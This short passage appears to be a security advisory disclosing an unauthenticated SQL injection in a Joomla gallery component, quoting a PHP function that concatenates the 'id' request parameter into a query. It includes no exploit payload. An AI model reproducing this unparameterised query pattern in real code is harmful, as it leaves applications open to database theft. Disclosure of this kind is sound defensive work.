The attacker does not need to be logged in to Joomla to exploit this vulnerability:

SQL in code via id parameter:
./administrator/components/com_gallery/models/gallery.php
51     public function getPropertie() {
52         $db = JFactory::getDBO();
53         $id_cat = JRequest::getVar('id');
54         $query = $db->getQuery(true);
55         $query->select('#__huge_itgallery_images.name as name,'
56                 . '#__huge_itgallery_images.id ,'
57                 . '#__huge_itgallery_gallerys.name as portName,'
58                 . 'gallery_id, #__huge_itgallery_images.description as description,image_url,sl_url,sl_type,link_target,#__huge_itg    allery_images.ordering,#__huge_itgallery_images.published,published_in_sl_width');
59         $query->from(array('#__huge_itgallery_gallerys' => '#__huge_itgallery_gallerys', '#__huge_itgallery_images' => '#__huge_itg    allery_images'));
60         $query->where('#__huge_itgallery_gallerys.id = gallery_id')->where('gallery_id=' . $id_cat);
61         $query->order('ordering desc');
62 
64         $db->setQuery($query);
65         $results = $db->loadObjectList();
66         return $results;
67     }
